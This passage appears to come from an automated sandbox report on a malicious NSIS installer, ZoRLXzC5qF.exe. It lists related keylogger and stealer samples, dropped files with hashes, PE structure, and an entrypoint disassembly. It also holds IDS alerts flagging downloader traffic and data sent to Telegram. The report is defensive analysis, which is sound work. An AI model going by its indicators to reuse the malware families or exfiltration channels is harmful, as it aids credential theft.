	tVuAoupHhZ.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.130.0
	phish_alert_sp2_2.0.0.0(4).eml	Get hash	malicious	Unknown	Browse	192.29.202.93
	https://app.online.mt.com/e/es?s=961579678&e=14507707&elqTrackId=4f40dcb3a3854013ad3a46d461cc3aff&elq=5140e028df1a42afab491350388fd129&elqaid=221811&elqat=1&elqcst=272&elqcsid=2325629&elqak=8AF5D97DFF9E423CC7C7524F5CA3C1A86F5F67341B9DF612D5A2FB20DE928F2AA351	Get hash	malicious	Unknown	Browse	192.29.202.93
TELEGRAMRU	6BRa130JDj.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	4AMVusDMPP.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	JGvCEaqruI.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse	149.154.167.220
	TjoY7n65om.exe	Get hash	malicious	Snake Keylogger	Browse	149.154.167.220
	Kb94RzMYNf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	WGi85dsMNp.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	cOH7jKmo25.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse	149.154.167.220
	3i1gMM8K4z.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	2NJzy3tiny.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	z87sammylastborn.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
CLOUDFLARENETUS	XeFYBYYj0w.exe	Get hash	malicious	FormBook	Browse	188.114.96.3
	tfWjjV1LdT.exe	Get hash	malicious	FormBook	Browse	104.21.36.62
	uVpytXGpQz.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.64.1
	6BRa130JDj.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.80.1
	4AMVusDMPP.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.32.1
	BcF3o0Egke.exe	Get hash	malicious	FormBook	Browse	104.21.15.100
	VCU262Y2QB.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.48.1
	h1HIe1rt4D.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.96.1
	ukBQ4ch2nE.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	yqfze5TKW7.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	104.21.112.1

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	uVpytXGpQz.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.16.1
	6BRa130JDj.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.16.1
	4AMVusDMPP.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.16.1
	VCU262Y2QB.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.16.1
	h1HIe1rt4D.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.16.1
	yqfze5TKW7.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	104.21.16.1
	VCU262Y2QB.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.16.1
	h1HIe1rt4D.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.16.1
	tVuAoupHhZ.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.16.1
	TjoY7n65om.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.16.1
3b5074b1b5d032e5620f69f9f700ff0e	6BRa130JDj.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	4AMVusDMPP.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	ukBQ4ch2nE.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	JGvCEaqruI.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse	149.154.167.220
	J4CcLMNm55.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	J4CcLMNm55.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	ru52XOQ1p7.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	TjoY7n65om.exe	Get hash	malicious	Snake Keylogger	Browse	149.154.167.220
	Kb94RzMYNf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	WGi85dsMNp.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
37f463bf4616ecd445d4a1937da06e19	YrCSUX2O3I.exe	Get hash	malicious	GuLoader	Browse	142.250.186.78 142.250.185.65
	4AMVusDMPP.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	142.250.186.78 142.250.185.65
	4AMVusDMPP.exe	Get hash	malicious	GuLoader	Browse	142.250.186.78 142.250.185.65
	Cpfkf79Rzk.exe	Get hash	malicious	GuLoader	Browse	142.250.186.78 142.250.185.65
	TjoY7n65om.exe	Get hash	malicious	Snake Keylogger	Browse	142.250.186.78 142.250.185.65
	Kb94RzMYNf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	142.250.186.78 142.250.185.65
	WGi85dsMNp.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	142.250.186.78 142.250.185.65
	TVPfW4WUdj.exe	Get hash	malicious	GuLoader	Browse	142.250.186.78 142.250.185.65
	WGi85dsMNp.exe	Get hash	malicious	GuLoader	Browse	142.250.186.78 142.250.185.65
	WtZl31OLfA.exe	Get hash	malicious	Remcos, GuLoader	Browse	142.250.186.78 142.250.185.65

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\nssD9DF.tmp\System.dll	letsVPN.exe	Get hash	malicious	Unknown	Browse
	letsVPN.exe	Get hash	malicious	Unknown	Browse
	Revo.Uninstaller.Pro.v5.3.4.exe	Get hash	malicious	Unknown	Browse
	Revo.Uninstaller.Pro.v5.3.4.exe	Get hash	malicious	Unknown	Browse
	Documenti di spedizione.bat.exe	Get hash	malicious	AgentTesla, GuLoader	Browse
	Order NO 000293988494948595850000595995000.exe	Get hash	malicious	AgentTesla, GuLoader	Browse
	kelscrit.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse
	FiddlerSetup.5.0.20245.10105-latest.exe	Get hash	malicious	PureLog Stealer, zgRAT	Browse
	HHn9tNeZd8.exe	Get hash	malicious	GuLoader	Browse
	wmKmOQ868z.exe	Get hash	malicious	FormBook, GuLoader	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Temp\nssD9DF.tmp\System.dll

Download File

Process:	C:\Users\user\Desktop\ZoRLXzC5qF.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	5.804946284177748
Encrypted:	false
SSDEEP:	192:ljHcQ0qWTlt7wi5Aj/lM0sEWD/wtYbBjpNQybC7y+XZqE0QPi:R/Qlt7wiij/lMRv/9V4bfr
MD5:	192639861E3DC2DC5C08BB8F8C7260D5
SHA1:	58D30E460609E22FA0098BC27D928B689EF9AF78
SHA-256:	23D618A0293C78CE00F7C6E6DD8B8923621DA7DD1F63A070163EF4C0EC3033D6
SHA-512:	6E573D8B2EF6ED719E271FD0B2FD9CD451F61FC9A9459330108D6D7A65A0F64016303318CAD787AA1D5334BA670D8F1C7C13074E1BE550B4A316963ECC465CDC
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Joe Sandbox View:	Filename: letsVPN.exe, Detection: malicious, Browse Filename: letsVPN.exe, Detection: malicious, Browse Filename: Revo.Uninstaller.Pro.v5.3.4.exe, Detection: malicious, Browse Filename: Revo.Uninstaller.Pro.v5.3.4.exe, Detection: malicious, Browse Filename: Documenti di spedizione.bat.exe, Detection: malicious, Browse Filename: Order NO 000293988494948595850000595995000.exe, Detection: malicious, Browse Filename: kelscrit.exe, Detection: malicious, Browse Filename: FiddlerSetup.5.0.20245.10105-latest.exe, Detection: malicious, Browse Filename: HHn9tNeZd8.exe, Detection: malicious, Browse Filename: wmKmOQ868z.exe, Detection: malicious, Browse
Reputation:	moderate, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......qr.5.D.5.D.5.D...J.2.D.5.E.!.D.....2.D.a0t.1.D.V1n.4.D..3@.4.D.Rich5.D.........PE..L....C.f...........!....."..................@...............................p............@..........................B.......@..P............................`.......................................................@..X............................text.... .......".................. ..`.rdata..c....@.......&..............@..@.data...x....P.......*..............@....reloc.......`.......,..............@..B................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\skattekode\Rygtets222\overstadigeres\Assureringer69.udv

Download File

Process:	C:\Users\user\Desktop\ZoRLXzC5qF.exe
File Type:	Matlab v4 mat-file (little endian) X, numeric, rows 0, columns 0
Category:	dropped
Size (bytes):	376884
Entropy (8bit):	1.2538694993882065
Encrypted:	false
SSDEEP:	1536:eTJcpruMcjYX8Jf2lBD7XWqllCEYyZB0mFS04:eJcpPIYX8JonFS3
MD5:	943DE1999A45C6772E1F2FB9E1803546
SHA1:	542FC5B588D85BB0E7FCEED47789836A9C428984
SHA-256:	1CCAB41F428AAB780F43CA2C25EB80A63755BD7977DFF975ED662FDB9672D515
SHA-512:	A6AC5B8C7A1DBC2F06888E0F9285A6E1BD39A6C35E021BB5E3DC179E1EA176BEDDC7AD8C49CAEDDD7E10E232F980C7186E05DB890E001BA481E24E9D7EE4C434
Malicious:	false
Reputation:	low
Preview:	..................0.X.........(.................;..........P...................S..........................................................................................m.......................................................................................................................n..........+.........v...................J...............'...........................................................i.......6........!.E................a...........................'....u....L......W...............................................................................................J................................................................~.................,..........................................n.................. .....................................................................................................................P......a.......T.......................................................................................................................................

C:\Users\user\AppData\Local\skattekode\Rygtets222\overstadigeres\Atletiskes.Aut181

Download File

Process:	C:\Users\user\Desktop\ZoRLXzC5qF.exe
File Type:	data
Category:	dropped
Size (bytes):	38041
Entropy (8bit):	4.597896486278461
Encrypted:	false
SSDEEP:	768:00CJos9y/HclyEcZw8IvXfEeM096dsQ7zRKoQmG1u:BCr9McIDqX7ghhJG4
MD5:	0795A979EEACC64C83840FCF0F04D3E3
SHA1:	964A157FDFDBCB6D5FD740B3EC389FED3C868EA1
SHA-256:	D0CBE5A28A6A098AE855EA7F6D9206D508818B89AA9272038496C5A4011F6C4C
SHA-512:	B31CCEAB4E365F9097015B569C8CDA41FE1DAF47910E88A4726D55667AC91470CC3D4ED7A7B9DB0B6C62538B846AFB8C653725931C19FB0E2B19D81B503A6AA5
Malicious:	false
Reputation:	low
Preview:	................JJ..........f............rr......................EEEEEE...L.................k..k.......^^.......................-...<<..W..............%............MM.................))e.................]."........--..55.......................................................r...B...""......000...>>.........................+.................ee..........B..........n............u..........u...kk...fff.TT..x.................==....hhh.....bbb.pp...........e...."""""...........G.....................[.....44...FFFFF.......6...................m...l..........."".........;....................6.. .*...U......a......................FF.___.3...........iii...............#..........................l....b..ii..wwww.ccc.....H.......2................EEEE................r.........j...................p...c.....#...f........:............(.........$..............................V...................................:.8....NN......................................LL..F...L.m..Y.......w.t.......77.........&C....

C:\Users\user\AppData\Local\skattekode\Rygtets222\overstadigeres\Bombproof105.Ure235

Download File

Process:	C:\Users\user\Desktop\ZoRLXzC5qF.exe
File Type:	data
Category:	dropped
Size (bytes):	205420
Entropy (8bit):	7.3194013270027405
Encrypted:	false
SSDEEP:	3072:sVpFoprbYIg8zroHwqDb9d7b1sZtvkeqLr1bjCXRPTvn072gGUYBV1Pm9L7doEc1:YQpoDvjztC1e/FL7doEc1
MD5:	5FA298FBD18A425478F9EBB2994F7FEF
SHA1:	13F7199A914E6DB530E5716924BD906EC009753E
SHA-256:	394071A7C138B8FBEBE11AE02DDF7E54ED1BD0A95D604207ABABB8E9EF005ED7
SHA-512:	C776CC19E2B97BB683729471DB3415A61DADF93F514C96EC0D229462A4C12A29807FB9E82A21CA12A90D1FA1291B9A91BA37E46C77671BCF9FB9190C3CD20AE3
Malicious:	false
Reputation:	low
Preview:	.......`....................s..E...........................Z.........G..HHHH......../......00.Y.;;......1............uuu.....i..wwww................8................MM.........$$......h......HH.....................SS..---..........................d....c...Z...............p......]]]]]............w..........RRRR.................(.......w.............cc..........................66...?.........T.........'.111.......\\..Y...##..bb....................''.....&&......>....h...3............................r.kk..............D.......^.........%............0.II......................................DDDD.....................u....jjj................TT.........................................m....../...PPP..................................Q./.s...........n.d............""""......pppp.....w..............SSS..aa..............AAA......000.EEEE....... ...........!!!!....B...............55.....c................................<.............*.........d..................................uuuuu...........-....

C:\Users\user\AppData\Local\skattekode\Rygtets222\overstadigeres\serow.kar

Download File

Process:	C:\Users\user\Desktop\ZoRLXzC5qF.exe
File Type:	data
Category:	dropped
Size (bytes):	437967
Entropy (8bit):	1.2496824675371185
Encrypted:	false
SSDEEP:	768:YszAIbEHsrUdiWwGdV5C+P4/1F93McF1TWcY7hYu4nR/CFxofOrNYSOq5HGieGwO:YJkFhJAhX55ckvF4ULrV2Ehr3gra5
MD5:	0695A340DE7C3F5F45036C9C9EAFDBD2
SHA1:	D741BBBBFAD62B1D85E87CEDD3F344F4062C33D6
SHA-256:	0020F3470C29CAC49F8521309D6DA437EC6F71B2F5BD41A7B5DD88788B5AC25F
SHA-512:	D2668C1016BBE3DF9CE638D834AA13CC1100D4B85FCB4AC7396DA8166B50F0B2AF0A9025BA35D54A865EC87F356EEEB7A577B000B9B50F8ECC996B3E798CF145
Malicious:	false
Reputation:	low
Preview:	....Z...................................,.............O............2............................N...........J................................................................M..v..H...........................E.......K............................S..........T.......=............#.............................-...............................8.................................'......................0.................................t....................................0....................6..................\|.......................................................;...............=................................K..............................................................................W..........{....................`............................................................................\|...................................................................w....T................S............................y...........x......................J.......................................1......

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.390408379710421
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	ZoRLXzC5qF.exe
File size:	573'816 bytes
MD5:	63a7bcf75c4f84b0e2dd1645f9e8fcfe
SHA1:	89d5b0b09816aad68fdc82d47036e59c92200688
SHA256:	fc6fb69c921c1d6b3057cfd5658ef095e00f9fa125fe8675c653fa6ce38e118f
SHA512:	73fd3357e25651d2e9f0b615749e4fa498e78c3a177691da0d0506cb0883b4d4db8b83df1605ab6295824e052a7bdd3d101eeb2b854f159861893cbd5cea1276
SSDEEP:	12288:6fYfUlNHYh6kt2Faw5xzsSRF+woxPXueq/PZxIgLYeEbH+aQ:6fYMPYcq2FrzOHueQhxIgsH9Q
TLSH:	CBC4F1157624AD56C4EC00318BEDCE7B07630F6A7B68521F73D4BE9D7EB9A812522323
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1 ..PN..PN..PN._...PN..PO.JPN._...PN..s~..PN..VH..PN.Rich.PN.........................PE..L....C.f.................j.........

File Icon


Icon Hash:	016c4c4ebe99dd65

Static PE Info

General

Entrypoint:	0x403552
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x660843FB [Sat Mar 30 16:55:23 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f4639a0b3116c2cfc71144b88a929cfd

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=Rancer, O=Rancer, L=Denmoss, C=GB
Signature Validation Error:	A certificate chain processed, but terminated in a root certificate which is not trusted by the trust provider
Error Number:	-2146762487
Not Before, Not After	25/06/2024 12:27:06 25/06/2027 12:27:06
Subject Chain	CN=Rancer, O=Rancer, L=Denmoss, C=GB
Version:	3
Thumbprint MD5:	B95743C9F1466A0396F1B2C6610C8C99
Thumbprint SHA-1:	54A159AB25C7BD1BEEEA413E516C2253AE7002EA
Thumbprint SHA-256:	064C151C09D2B0E614691A3DE0038AB5BBBF9FB8907C7F5EFA361E2942EF3979
Serial:	009E83CBE5AE2BFDB3081ED2DCB62FCECCC0B0D8

Entrypoint Preview

Instruction
sub esp, 000003F8h
push ebp
push esi
push edi
push 00000020h
pop edi
xor ebp, ebp
push 00008001h
mov dword ptr [esp+20h], ebp
mov dword ptr [esp+18h], 0040A2D8h
mov dword ptr [esp+14h], ebp
call dword ptr [004080A4h]
mov esi, dword ptr [004080A8h]
lea eax, dword ptr [esp+34h]
push eax
mov dword ptr [esp+4Ch], ebp
mov dword ptr [esp+0000014Ch], ebp
mov dword ptr [esp+00000150h], ebp
mov dword ptr [esp+38h], 0000011Ch
call esi
test eax, eax
jne 00007EFEFC927C5Ah
lea eax, dword ptr [esp+34h]
mov dword ptr [esp+34h], 00000114h
push eax
call esi
mov ax, word ptr [esp+48h]
mov ecx, dword ptr [esp+62h]
sub ax, 00000053h
add ecx, FFFFFFD0h
neg ax
sbb eax, eax
mov byte ptr [esp+0000014Eh], 00000004h
not eax
and eax, ecx
mov word ptr [esp+00000148h], ax
cmp dword ptr [esp+38h], 0Ah
jnc 00007EFEFC927C28h
and word ptr [esp+42h], 0000h
mov eax, dword ptr [esp+40h]
movzx ecx, byte ptr [esp+3Ch]
mov dword ptr [004347B8h], eax
xor eax, eax
mov ah, byte ptr [esp+38h]
movzx eax, ax
or eax, ecx
xor ecx, ecx
mov ch, byte ptr [esp+00000148h]
movzx ecx, cx
shl eax, 10h
or eax, ecx
movzx ecx, byte ptr [esp+0000004Eh]

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x8608	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x68000	0x2ac78	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x8b890	0x8e8	.rsrc
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x2a8	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x68f8	0x6a00	595406ea4e71ef6f8675a1bd30bcc8f9	False	0.6703272405660378	data	6.482222402519068	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x1464	0x1600	a995b118b38426885fc6ccaa984c8b7a	False	0.4314630681818182	data	4.969091535632612	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xa000	0x2a818	0x600	7a91ec9f1c18e608c3f3f503ba4191c1	False	0.5221354166666666	data	4.165541189894117	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x35000	0x33000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x68000	0x2ac78	0x2ae00	07533466c1ba02253abde419e160f487	False	0.43160076530612246	data	5.193823090904089	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x68448	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 67584	English	United States	0.3483526558618242
RT_ICON	0x78c70	0x94a8	Device independent bitmap graphic, 96 x 192 x 32, image size 38016	English	United States	0.44647361782636114
RT_ICON	0x82118	0x5488	Device independent bitmap graphic, 72 x 144 x 32, image size 21600	English	United States	0.4737060998151571
RT_ICON	0x875a0	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16896	English	United States	0.44355219650448746
RT_ICON	0x8b7c8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.5286307053941909
RT_ICON	0x8dd70	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.5811444652908068
RT_ICON	0x8ee18	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States	0.5748933901918977
RT_ICON	0x8fcc0	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.6860655737704918
RT_ICON	0x90648	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	United States	0.7224729241877257
RT_ICON	0x90ef0	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 1152	English	United States	0.49146341463414633
RT_ICON	0x91558	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States	0.5440751445086706
RT_ICON	0x91ac0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.7668439716312057
RT_ICON	0x91f28	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512	English	United States	0.6263440860215054
RT_ICON	0x92210	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128	English	United States	0.7128378378378378
RT_DIALOG	0x92338	0x100	data	English	United States	0.5234375
RT_DIALOG	0x92438	0x11c	data	English	United States	0.6091549295774648
RT_DIALOG	0x92558	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x925b8	0xca	data	English	United States	0.6237623762376238
RT_VERSION	0x92688	0x2b0	data	English	United States	0.5232558139534884
RT_MANIFEST	0x92938	0x33e	XML 1.0 document, ASCII text, with very long lines (830), with no line terminators	English	United States	0.5542168674698795

Imports

DLL	Import
ADVAPI32.dll	RegEnumValueW, RegEnumKeyW, RegQueryValueExW, RegSetValueExW, RegCloseKey, RegDeleteValueW, RegDeleteKeyW, AdjustTokenPrivileges, LookupPrivilegeValueW, OpenProcessToken, RegOpenKeyExW, RegCreateKeyExW
SHELL32.dll	SHGetPathFromIDListW, SHBrowseForFolderW, SHGetFileInfoW, SHFileOperationW, ShellExecuteExW
ole32.dll	CoCreateInstance, OleUninitialize, OleInitialize, IIDFromString, CoTaskMemFree
COMCTL32.dll	ImageList_Destroy, ImageList_AddMasked, ImageList_Create
USER32.dll	MessageBoxIndirectW, GetDlgItemTextW, SetDlgItemTextW, CreatePopupMenu, AppendMenuW, TrackPopupMenu, OpenClipboard, EmptyClipboard, SetClipboardData, CloseClipboard, IsWindowVisible, CallWindowProcW, GetMessagePos, CheckDlgButton, LoadCursorW, SetCursor, GetSysColor, SetWindowPos, GetWindowLongW, IsWindowEnabled, SetClassLongW, GetSystemMenu, EnableMenuItem, GetWindowRect, ScreenToClient, EndDialog, RegisterClassW, SystemParametersInfoW, CharPrevW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, CreateDialogParamW, SetTimer, SetWindowTextW, PostQuitMessage, SetForegroundWindow, ShowWindow, wsprintfW, SendMessageTimeoutW, FindWindowExW, IsWindow, GetDlgItem, SetWindowLongW, LoadImageW, GetDC, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, EndPaint, CharNextA, wsprintfA, DispatchMessageW, CreateWindowExW, PeekMessageW, GetSystemMetrics
GDI32.dll	GetDeviceCaps, SetBkColor, SelectObject, DeleteObject, CreateBrushIndirect, CreateFontIndirectW, SetBkMode, SetTextColor
KERNEL32.dll	lstrcmpiA, CreateFileW, GetTempFileNameW, RemoveDirectoryW, CreateProcessW, CreateDirectoryW, GetLastError, CreateThread, GlobalLock, GlobalUnlock, GetDiskFreeSpaceW, WideCharToMultiByte, lstrcpynW, lstrlenW, SetErrorMode, GetVersionExW, GetCommandLineW, GetTempPathW, GetWindowsDirectoryW, WriteFile, CopyFileW, ExitProcess, GetCurrentProcess, GetModuleFileNameW, GetFileSize, GetTickCount, Sleep, SetFileAttributesW, GetFileAttributesW, SetCurrentDirectoryW, MoveFileW, GetFullPathNameW, GetShortPathNameW, SearchPathW, CompareFileTime, SetFileTime, CloseHandle, lstrcmpiW, lstrcmpW, ExpandEnvironmentStringsW, GlobalFree, GlobalAlloc, GetModuleHandleW, LoadLibraryExW, FreeLibrary, WritePrivateProfileStringW, GetPrivateProfileStringW, lstrlenA, MultiByteToWideChar, ReadFile, SetFilePointer, FindClose, FindNextFileW, FindFirstFileW, DeleteFileW, MulDiv, lstrcpyA, MoveFileExW, lstrcatW, GetSystemDirectoryW, GetProcAddress, GetModuleHandleA, GetExitCodeProcess, WaitForSingleObject, SetEnvironmentVariableW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T02:23:20.838039+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	49708	142.250.186.78	443	TCP
2025-01-11T02:23:27.495045+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.8	49711	193.122.6.168	80	TCP
2025-01-11T02:23:30.338813+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.8	49711	193.122.6.168	80	TCP
2025-01-11T02:23:31.089602+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49713	104.21.16.1	443	TCP
2025-01-11T02:23:31.807685+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.8	49714	193.122.6.168	80	TCP
2025-01-11T02:23:32.371689+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49715	104.21.16.1	443	TCP
2025-01-11T02:23:34.895490+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49719	104.21.16.1	443	TCP
2025-01-11T02:23:38.662546+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49725	104.21.16.1	443	TCP
2025-01-11T02:23:40.821677+0100	1810007	Joe Security ANOMALY Telegram Send Message	1	192.168.2.8	49728	149.154.167.220	443	TCP
2025-01-11T02:23:47.351177+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.8	49730	149.154.167.220	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 02:23:19.814801931 CET	49708	443	192.168.2.8	142.250.186.78
Jan 11, 2025 02:23:19.814847946 CET	443	49708	142.250.186.78	192.168.2.8
Jan 11, 2025 02:23:19.814918041 CET	49708	443	192.168.2.8	142.250.186.78
Jan 11, 2025 02:23:19.826091051 CET	49708	443	192.168.2.8	142.250.186.78
Jan 11, 2025 02:23:19.826103926 CET	443	49708	142.250.186.78	192.168.2.8
Jan 11, 2025 02:23:20.466011047 CET	443	49708	142.250.186.78	192.168.2.8
Jan 11, 2025 02:23:20.466223001 CET	49708	443	192.168.2.8	142.250.186.78
Jan 11, 2025 02:23:20.466739893 CET	443	49708	142.250.186.78	192.168.2.8
Jan 11, 2025 02:23:20.466806889 CET	49708	443	192.168.2.8	142.250.186.78
Jan 11, 2025 02:23:20.517498016 CET	49708	443	192.168.2.8	142.250.186.78
Jan 11, 2025 02:23:20.517534018 CET	443	49708	142.250.186.78	192.168.2.8
Jan 11, 2025 02:23:20.518474102 CET	443	49708	142.250.186.78	192.168.2.8
Jan 11, 2025 02:23:20.518547058 CET	49708	443	192.168.2.8	142.250.186.78
Jan 11, 2025 02:23:20.521800995 CET	49708	443	192.168.2.8	142.250.186.78
Jan 11, 2025 02:23:20.563338041 CET	443	49708	142.250.186.78	192.168.2.8
Jan 11, 2025 02:23:20.838021040 CET	443	49708	142.250.186.78	192.168.2.8
Jan 11, 2025 02:23:20.838174105 CET	49708	443	192.168.2.8	142.250.186.78
Jan 11, 2025 02:23:20.838769913 CET	443	49708	142.250.186.78	192.168.2.8
Jan 11, 2025 02:23:20.838891983 CET	443	49708	142.250.186.78	192.168.2.8
Jan 11, 2025 02:23:20.838943958 CET	49708	443	192.168.2.8	142.250.186.78
Jan 11, 2025 02:23:20.838943958 CET	49708	443	192.168.2.8	142.250.186.78
Jan 11, 2025 02:23:20.842191935 CET	49708	443	192.168.2.8	142.250.186.78
